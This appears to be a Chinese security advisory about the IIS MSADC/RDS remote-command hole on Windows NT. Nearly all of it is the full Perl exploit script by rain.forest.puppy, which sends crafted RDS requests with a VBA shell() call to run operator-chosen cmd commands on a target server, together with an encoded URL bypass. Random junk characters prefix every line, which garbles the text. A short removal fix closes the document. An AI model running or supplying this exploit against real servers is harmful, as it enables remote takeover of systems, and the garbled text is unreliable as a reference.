IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
:@'0)7 Fd.d( 涉及程序:
PS;*N8 Microsoft NT server
$ =a$z" 3sIM7WD? 描述:
jJC((1| 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
JT_B@TO\ 9uoj3Rh< 详细:
B>21A9& 如果你没有时间读详细内容的话,就删除:
5!fW&OiY c:\Program Files\Common Files\System\Msadc\msadcs.dll
vyy\^nL 有关的安全问题就没有了。
N>\?Aeh {/!"}{G1e 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
]Y!
Vyn #$T"QL@ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
md
LJ,w?{ 关于利用ODBC远程漏洞的描述,请参看:
<R%6L& \>azY
g http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm y{P9k8v!z BkqW>[\5xm 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
]a~LA7VHO http://www.microsoft.com/security/bulletins/MS99-025faq.asp LZ dNG\- r}Av" 这里不再论述。
Av4E?@R l~c>jm8. 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
e!'u{>u (19<8a9G /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
u6d~d\ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
4=cq 76 YIqfGXu8 ^PpFI #将下面这段保存为txt文件,然后: "perl -x 文件名"
BVeNK=7m% k;X1x65uP #!perl
kfECC&" #
]`9K|v # MSADC/RDS 'usage' (aka exploit) script
=%G[vm/-) #
qE=OQs9 # by rain.forest.puppy
Vtk|WV?>P+ #
W4Q]<<6& # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
' "
yl>" # beta test and find errors!
be@uHikp;v 3o^M% use Socket; use Getopt::Std;
<-aI%'?* getopts("e:vd:h:XR", \%args);
TnAX;+u _@76eZd print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
z*1K<w8 5nb6k,+E if (!defined $args{h} && !defined $args{R}) {
6[7k}9`alz print qq~
6GvnyJ{[ Usage: msadc.pl -h <host> { -d <delay> -X -v }
X.|0E87 -h <host> = host you want to scan (ip or domain)
$4,6&dwg -d <seconds> = delay between calls, default 1 second
#0H[RU? -X = dump Index Server path table, if available
>Sah\u` -v = verbose
4+bsG6i -e = external dictionary file for step 5
Okc*)crw 8
\Oiv$r Or a -R will resume a command session
?Qk#;~\yB )CQ}LbX Zy ~; exit;}
3Re\ T Ev#aMK $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
. %7A7a if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
4f,x@:Jw if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
PCjY,O if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
n3,wwymQ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
"KwKO8f if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
NE"fyX` A>yIH)b if (!defined $args{R}){ $ret = &has_msadc;
T667&@ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
L\DaZ(Y < Ifnf6~ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
b*fflJ . "cmd /c ";
"
z{w^k $in=<STDIN>; chomp $in;
_r'M^=yx[ $command="cmd /c " . $in ;
3J<,2 {Wo7=aR if (defined $args{R}) {&load; exit;}
1fZ:^|\ 1YL5 ![T print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
bux-t3g7+ &try_btcustmr;
L;`t%1 k6S<46}h| print "\nStep 2: Trying to make our own DSN...";
O ?Tg`] EX &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
?Y* PVx9Y YZ@-0_Z print "\nStep 3: Trying known DSNs...";
\f#ao<vQm &known_dsn;
Ymom 0g+f YvX I print "\nStep 4: Trying known .mdbs...";
[*t EHW &known_mdb;
v(~m!8!TI qC1@p?8$ if (defined $args{e}){
-^DB?j+ print "\nStep 5: Trying dictionary of DSN names...";
UtN>6$u
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
jfamuu 7 B?Skw{& print "Sorry Charley...maybe next time?\n";
;0'v`ob'.? exit;
Z
ngJ9js @35shLs ##############################################################################
wP*Z/}Uum+ ,jmG!qJb sub sendraw { # ripped and modded from whisker
b??1Up sleep($delay); # it's a DoS on the server! At least on mine...
vKf=t&gqr my ($pstr)=@_;
g=Di2j{A socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
f'dI"o&^/d die("Socket problems\n");
Km7 if(connect(S,pack "SnA4x8",2,80,$target)){
5@ug1F& select(S); $|=1;
wn&2-m*a print $pstr; my @in=<S>;
X $f%Ss select(STDOUT); close(S);
.EO1{2= return @in;
)VC) } } else { die("Can't connect...\n"); }}
PQ>JoRs T^_9R; ##############################################################################
nCU4a1rZ L_,U*Jyo sub make_header { # make the HTTP request
k9n93I|Cm my $msadc=<<EOT
hLRQ) POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
pyKag;ZtP User-Agent: ACTIVEDATA
,e2va7}3 Host: $ip
Df (6DuW Content-Length: $clen
t=AR>M!w~ Connection: Keep-Alive
5mU_S\)4:z ^> fs ADCClientVersion:01.06
"L]_NST Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
yhaYlYv[_3 c+=&5=i[3 --!ADM!ROX!YOUR!WORLD!
j7&l&)5 Content-Type: application/x-varg
{Y Ymt!Ic Content-Length: $reqlen
+zsya4r q]x@q EOT
uc_
X;M; ; $msadc=~s/\n/\r\n/g;
bd4q/w4q return $msadc;}
.+>}}, Bh?;\D'YC ##############################################################################
,ME9<3Ac k&b>-QP6 sub make_req { # make the RDS request
~
4aaJ0 my ($switch, $p1, $p2)=@_;
i7FEjjGtG my $req=""; my $t1, $t2, $query, $dsn;
:z\STXq P*>V6SK>b if ($switch==1){ # this is the btcustmr.mdb query
ioggD $query="Select * from Customers where City=" . make_shell();
Tx*m
p+q $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
#82B`y<<y/ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
hlRE\YO&8R ;QYK {3R? elsif ($switch==2){ # this is general make table query
q)*0G* $query="create table AZZ (B int, C varchar(10))";
ArY'NE\Htt $dsn="$p1";}
'' 6 4rm/+Zes elsif ($switch==3){ # this is general exploit table query
cu-WY8n $query="select * from AZZ where C=" . make_shell();
scdT/|(U$ $dsn="$p1";}
E_K7.c4M gA6C(##0 elsif ($switch==4){ # attempt to hork file info from index server
DI_mF#5q $query="select path from scope()";
amRtFrc| $dsn="Provider=MSIDXS;";}
H|Ems}b a|.u; elsif ($switch==5){ # bad query
]l%j>Vb!L $query="select";
{F j`'0Xu; $dsn="$p1";}
G;e}z&6<k C1=[\c~jw $t1= make_unicode($query);
(k?OYz]c $t2= make_unicode($dsn);
PsLCO(26 $req = "\x02\x00\x03\x00";
5 F-Q& $req.= "\x08\x00" . pack ("S1", length($t1));
U:Y?2$# $req.= "\x00\x00" . $t1 ;
h>wU';5#f $req.= "\x08\x00" . pack ("S1", length($t2));
L" o6)N $req.= "\x00\x00" . $t2 ;
nV,a|V5Xm $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
;c`B' return $req;}
`d8TA#|` /y} ##############################################################################
-8IiQRS v,jU9D\ sub make_shell { # this makes the shell() statement
J?&9ofj& return "'|shell(\"$command\")|'";}
4P8:aZM y;;@T X ##############################################################################
.eE5pyw+C $)U
RY~;i sub make_unicode { # quick little function to convert to unicode
gnQd#` my ($in)=@_; my $out;
4t":WutC for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
1 !sYd@iD@ return $out;}
"P6MLf1 /=N`P &R# ##############################################################################
,0~=9dR y.zW>Mfl sub rdo_success { # checks for RDO return success (this is kludge)
{}z7N~ my (@in) = @_; my $base=content_start(@in);
@bZb#,n] if($in[$base]=~/multipart\/mixed/){
PJ'l:IU return 1 if( $in[$base+10]=~/^\x09\x00/ );}
B4kIcHA return 0;}
+mJAIjH >_@J&vC ##############################################################################
IoC,\$s, [K5afnq` sub make_dsn { # this makes a DSN for us
vQ;Z 0_ my @drives=("c","d","e","f");
4
QWHGh" print "\nMaking DSN: ";
-8]$a6`{_ foreach $drive (@drives) {
{S?.bT%& print "$drive: ";
W+QI
D/ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
R&?p^!`% "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
i[B%:q:& . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
'
{Q L`L $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
^#nAS2w7U return 0 if $2 eq "404"; # not found/doesn't exist
j'Fni4; if($2 eq "200") {
^dro*a, foreach $line (@results) {
K&/W cuP& return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
b{A#P? } return 0;}
t4h* re+ v"j7},P@ ##############################################################################
L(.5:&Y=` rB4]TQ`c sub verify_exists {
G]{)yZ'} my ($page)=@_;
y0xte& my @results=sendraw("GET $page HTTP/1.0\n\n");
.m
.v$( return $results[0];}
'`S,d[~ zR%#Q_ ##############################################################################
, vWcWT r;-\z(h sub try_btcustmr {
=vR>KE my @drives=("c","d","e","f");
kp[Jl0K5 my @dirs=("winnt","winnt35","winnt351","win","windows");
jN'zNOV~ h T<v8 foreach $dir (@dirs) {
j*GYYEY print "$dir -> "; # fun status so you can see progress
C[75!F foreach $drive (@drives) {
1'ZBtX~A print "$drive: "; # ditto
&a V`u?'e $reqlen=length( make_req(1,$drive,$dir) ) - 28;
TV} H $reqlenlen=length( "$reqlen" );
y@F{pr+dA $clen= 206 + $reqlenlen + $reqlen;
!^y'G0
:>|[ o&L my @results=sendraw(make_header() . make_req(1,$drive,$dir));
GE|V^_|i if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
vV%w#ULxE~ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
L~\Ir j
sm{|' ##############################################################################
=oBV.BST u _T1|_9b sub odbc_error {
&Mol8=V) my (@in)=@_; my $base;
kxh
$R> my $base = content_start(@in);
KcHW>IBxdv if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
ct`89~" $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
[j):2 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
-{^Gzui $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
A," u~6Bn return $in[$base+4].$in[$base+5].$in[$base+6];}
cY5h6+ _ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
<%!EI@N print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
eKt~pzXwm $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
[5H#ay m}rUc29cS, ##############################################################################
rAgb<D@,H 6]M(ElV1H sub verbose {
X4gs{kx}| my ($in)=@_;
yTv#T(of return if !$verbose;
L:7%W dyh print STDOUT "\n$in\n";}
3{CXIS NO QM:tBO> ##############################################################################
)KG.:BO< 3= PRe sub save {
#}o*1 my ($p1, $p2, $p3, $p4)=@_;
}5`Kn}rY open(OUT, ">rds.save") || print "Problem saving parameters...\n";
L^dF
)y? print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
{>9vm!<[*\ close OUT;}
`2G 0B@ ^)TZHc2a[ ##############################################################################
@u?m4v{ qeypa! sub load {
nPE{Gp) } my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
r3'0{Nn+ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
8K'3iw>z @p=<IN>; close(IN);
G@s
rQum( $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
XsEDI?p2 $target= inet_aton($ip) || die("inet_aton problems");
09/Mg print "Resuming to $ip ...";
`KB; 3L $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
6YNd;,it>p if($p[1]==1) {
L\aG.\ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
voiWf?X $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
5y0N }} my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
wZ0RI{)s' if (rdo_success(@results)){print "Success!\n";}
UZz/v#y~ else { print "failed\n"; verbose(odbc_error(@results));}}
`fS$@{YI_ elsif ($p[1]==3){
zt6GJz1q if(run_query("$p[3]")){
Kqm2TMO]>V print "Success!\n";} else { print "failed\n"; }}
m9 1Gc?c elsif ($p[1]==4){
@kd`9Yw if(run_query($drvst . "$p[3]")){
G8}k9?26( print "Success!\n"; } else { print "failed\n"; }}
jBb:) exit;}
A{MMY{K3 qx|~H'UuBN ##############################################################################
\(C6|-:GY ~m3Q^ue sub create_table {
yhc}*BMZ my ($in)=@_;
3s;^p,9
Y $reqlen=length( make_req(2,$in,"") ) - 28;
*mby fu0q $reqlenlen=length( "$reqlen" );
508v:?^' $clen= 206 + $reqlenlen + $reqlen;
<- L}N ' my @results=sendraw(make_header() . make_req(2,$in,""));
g=n{G@ *N return 1 if rdo_success(@results);
^M0 my $temp= odbc_error(@results); verbose($temp);
]jjHIFX return 1 if $temp=~/Table 'AZZ' already exists/;
f3^Anaa]l return 0;}
*PM#ngLX}r f?W_/daP ##############################################################################
4
Fl>XM ]Q$S ei5 sub known_dsn {
t^
Ge " # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
!Ah v07SI my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
)V d^#p "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
LGB}:;$AL "banner", "banners", "ads", "ADCDemo", "ADCTest");
c^3,e/H -!q^/ux foreach $dSn (@dsns) {
- ({h @ print ".";
!y+uQ_IS@ next if (!is_access("DSN=$dSn"));
*O_>3Hgl if(create_table("DSN=$dSn")){
>jz9o9?8 print "$dSn successful\n";
xu\s2x$ if(run_query("DSN=$dSn")){
w$iQ,-- print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
R#HVrzOO|T print "Something's borked. Use verbose next time\n";}}} print "\n";}
^p)#;$6b OYSq)!: ##############################################################################
'hR0JXy 5\V""fH sub is_access {
KT[ZOtu my ($in)=@_;
agt/;>q\~ $reqlen=length( make_req(5,$in,"") ) - 28;
Hsn'" $reqlenlen=length( "$reqlen" );
C~Hhi-Xl) $clen= 206 + $reqlenlen + $reqlen;
qA0PGo my @results=sendraw(make_header() . make_req(5,$in,""));
# ~Doz7~ my $temp= odbc_error(@results);
GXG 7P,p, verbose($temp); return 1 if ($temp=~/Microsoft Access/);
hi`[ return 0;}
0 30LT$&! .+A)^A ##############################################################################
bFjH*~
P
pu~b\&^G sub run_query {
1oe,>\\ my ($in)=@_;
t0,=U8]w $reqlen=length( make_req(3,$in,"") ) - 28;
AXF
1{ $reqlenlen=length( "$reqlen" );
/% g+|C $clen= 206 + $reqlenlen + $reqlen;
x
]"> my @results=sendraw(make_header() . make_req(3,$in,""));
p]0`rf!| return 1 if rdo_success(@results);
JkhW LQ>o my $temp= odbc_error(@results); verbose($temp);
,p{naT%R return 0;}
Dj>eAO> djH&)&q! ##############################################################################
eR%\_;}7; Qk? WX
(`B sub known_mdb {
4C/G &w& my @drives=("c","d","e","f","g");
{0~\ T[qm my @dirs=("winnt","winnt35","winnt351","win","windows");
4sRM"w; my $dir, $drive, $mdb;
fV@[S my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
?VlGTMaS+ ~UJ.A<>Fh # this is sparse, because I don't know of many
HjIIhl?UY my @sysmdbs=( "\\catroot\\icatalog.mdb",
,OWk[0/ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
UB/"&I uo "\\system32\\certmdb.mdb",
-0UR%R7q "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
.fbY2b([ :s6aFiz my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
A
0v=7
] "\\cfusion\\cfapps\\forums\\forums_.mdb",
9u^M{6 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
![;={d0 "\\cfusion\\cfapps\\security\\realm_.mdb",
M6mgJonN| "\\cfusion\\cfapps\\security\\data\\realm.mdb",
f"RC(("6W "\\cfusion\\database\\cfexamples.mdb",
nfbR"E
jXr "\\cfusion\\database\\cfsnippets.mdb",
/5)*epF+ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
ugN t7P,^ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
~Oa$rqu%m "\\cfusion\\brighttiger\\database\\cleam.mdb",
eZEk$W% "\\cfusion\\database\\smpolicy.mdb",
fX]`vjM{ "\\cfusion\\database\cypress.mdb",
b{qN7X~> "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
SV@*[r "\\website\\cgi-win\\dbsample.mdb",
<l(n)|H1P "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
MA,*$BgZ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
9w- )?? ); #these are just
<3!Al,!ej@ foreach $drive (@drives) {
)by7[I0v foreach $dir (@dirs){
~5'7u-; foreach $mdb (@sysmdbs) {
s3eS` rK- print ".";
UAPd["`)y if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
Lo3N)~5 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
:h5G|^
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
$m;`O_-T print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
vof8bQ{& } else { print "Something's borked. Use verbose next time\n"; }}}}}
WW+xU0 KF
zI27r foreach $drive (@drives) {
Ym1vq= foreach $mdb (@mdbs) {
f[1cN`|z print ".";
E/g"}yR if(create_table($drv . $drive . $dir . $mdb)){
q[_qZ print "\n" . $drive . $dir . $mdb . " successful\n";
yfK}1mx)j if(run_query($drv . $drive . $dir . $mdb)){
VxBBZsZO~ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
kN.;;HFq# } else { print "Something's borked. Use verbose next time\n"; }}}}
jB(+9?;1${ }
D#UuIZ ydy TDn ##############################################################################
g]lEG>y1R p;>A:i sub hork_idx {
YZ5,K6u print "\nAttempting to dump Index Server tables...\n";
`mzlOB print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
W?5') $reqlen=length( make_req(4,"","") ) - 28;
Ux7LN@4og $reqlenlen=length( "$reqlen" );
R|n $clen= 206 + $reqlenlen + $reqlen;
Xd=KBB[r? my @results=sendraw2(make_header() . make_req(4,"",""));
gzIx!sc if (rdo_success(@results)){
9T;4aP>6j# my $max=@results; my $c; my %d;
lhKn&U for($c=19; $c<$max; $c++){
Hl`OT5pNf $results[$c]=~s/\x00//g;
`*Yw-HL $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
l3sF/zkH $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
SK
lvZ
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
_8a;5hS $d{"$1$2"}="";}
\= v.$u"c foreach $c (keys %d){ print "$c\n"; }
Hl,{4%] } else {print "Index server doesn't seem to be installed.\n"; }}
iqvLu{ S[1<Qrv] ##############################################################################
hE|P|0U,n 4T31<wk sub dsn_dict {
gom!dB0J open(IN, "<$args{e}") || die("Can't open external dictionary\n");
(da`aRVDp while(<IN>){
=SXdO)%2 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
1ZI1+TDH next if (!is_access("DSN=$dSn"));
M@R"-$Z if(create_table("DSN=$dSn")){
G9f6'5 O print "$dSn successful\n";
eCYPd-d if(run_query("DSN=$dSn")){
Fp/{L print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
"iA0hA print "Something's borked. Use verbose next time\n";}}}
3]l)uoNt/ print "\n"; close(IN);}
Z1eT>6|]r rZKfb}ANQ ##############################################################################
wAKHD*M) f`n4'dG sub sendraw2 { # ripped and modded from whisker
Z^_qXerjP sleep($delay); # it's a DoS on the server! At least on mine...
!?nbB2, my ($pstr)=@_;
hyH[`wiq socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
5p (zhfuG die("Socket problems\n");
_K o#36.S if(connect(S,pack "SnA4x8",2,80,$target)){
V4+|D2 print "Connected. Getting data";
eR$@Q open(OUT,">raw.out"); my @in;
LH5Z@*0# select(S); $|=1; print $pstr;
}T@=I&g; while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
&eHRn_st5b close(OUT); select(STDOUT); close(S); return @in;
h^SWb91"G } else { die("Can't connect...\n"); }}
`gX|q3K\s D5,]E`jwu ##############################################################################
oZa'cZNs J,F1Xmr4 sub content_start { # this will take in the server headers
p?i.<Z my (@in)=@_; my $c;
wM+1/[7 for ($c=1;$c<500;$c++) {
4.!1odKp if($in[$c] =~/^\x0d\x0a/){
} ?j5V if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
@@AL@.* else { return $c+1; }}}
w}ji]V} return -1;} # it should never get here actually
Zz0bd473k? &BRk<iwV ##############################################################################
L[x`i'0B 9MMCWMV sub funky {
Y;/@[AwF my (@in)=@_; my $error=odbc_error(@in);
aUaeK(x:H if($error=~/ADO could not find the specified provider/){
6kYluV+j print "\nServer returned an ADO miscofiguration message\nAborting.\n";
zmo2uUEd exit;}
i"h\*B= if($error=~/A Handler is required/){
w:t~M[kTW print "\nServer has custom handler filters (they most likely are patched)\n";
$*ff]># exit;}
V4[-:k if($error=~/specified Handler has denied Access/){
!Y ,7% print "\nServer has custom handler filters (they most likely are patched)\n";
AS7L exit;}}
cUY- iFd
!ED ##############################################################################
{ ADd[V 'z$$ZEz!C sub has_msadc {
F\m^slsu7= my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
z`wIb my $base=content_start(@results);
Zw]"p63eMa return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
,<v0( return 0;}
wZ(1\
M( fz(YP=@ZnP ########################
#EH=tJgO|J BU:;;iV8 C?\(?%B 解决方案:
\O5L#dc# 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
Anz{u$0M[ 2、移除web 目录: /msadc